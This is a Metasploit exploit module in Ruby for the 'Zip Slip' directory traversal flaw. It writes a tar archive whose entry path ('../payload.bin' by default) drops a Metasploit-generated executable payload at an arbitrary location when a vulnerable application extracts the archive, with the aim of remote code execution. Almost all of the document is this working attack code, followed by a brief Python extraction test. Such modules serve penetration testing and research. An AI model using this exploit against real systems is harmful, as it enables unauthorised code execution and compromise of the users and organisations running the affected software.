##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'rex/zip'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ManualRanking

  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::EXE

  def initialize(info={})
    super(update_info(info,
      'Name'           => "Generic Zip Slip Traversal Vulnerability",
      'Description'    => %q{
        This is a generic arbitrary file overwrite technique, which typically results in remote
        command execution. This targets a simple yet widespread vulnerability that has been
        seen affecting a variety of popular products including HP, Amazon, Apache, Cisco, etc.
        The idea is that often archive extraction libraries have no mitigations against
        directory traversal attacks. If an application uses it, there is a risk when opening an
        archive that is maliciously modified, and result in the embedded payload to be written
        to an arbitrary location (such as a web root), and result in remote code execution.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Snyk',  # Technique discovery
          'sinn3r' # Metasploit
        ],
      'References'     =>
        [
          ['URL', 'https://snyk.io/research/zip-slip-vulnerability']
        ],
      'DefaultOptions'  =>
        {
          'EXITFUNC' => 'thread',
          'DisablePayloadHandler' => true
        },
      'Platform'       => ['linux', 'win', 'unix'],
      'Targets'        =>
        [
          ['Manually determined', {}]
        ],
      'Privileged'     => false,
      'DisclosureDate' => "Jun 05 2018"
    ))

    register_options([
      OptString.new('FILENAME', [true, 'The tar file (tar)', 'msf.tar']),
      OptString.new('TARGETPAYLOADPATH', [true, 'The targeted path for payload', '../payload.bin'])
    ])
  end

  class ZipSlipArchive
    attr_reader :data
    attr_reader :fname
    attr_reader :payload

    def initialize(n, p)
      @fname = n
      @payload = p
      @data = make
    end

    def make
      data = ''
      path = Rex::FileUtils.normalize_unix_path(fname)
      tar = StringIO.new
      Rex::Tar::Writer.new(tar) do |t|
        t.add_file(path, 0777) do |f|
          f.write(payload)
        end
      end
      tar.seek(0)
      data = tar.read
      tar.close
      data
    end
  end

  def make_tar(target_payload_path)
    elf = generate_payload_exe(code: payload.encoded)
    archive = ZipSlipArchive.new(target_payload_path, generate_payload_exe)
    archive.make
  end

  def exploit
    target_payload_path = datastore['TARGETPAYLOADPATH']
    unless target_payload_path.match(/\.\.\//)
      print_error('Please set a traversal path')
      return
    end

    tar = make_tar(target_payload_path)
    file_create(tar)
    print_status('When extracted, the payload is expected to extract to:')
    print_status(target_payload_path)
  end
end

=begin
A quick test:

$ python
>>> import tarfile
>>> t = tarfile.open('test.tar')
>>> t.extractall()
>>> exit()

=end
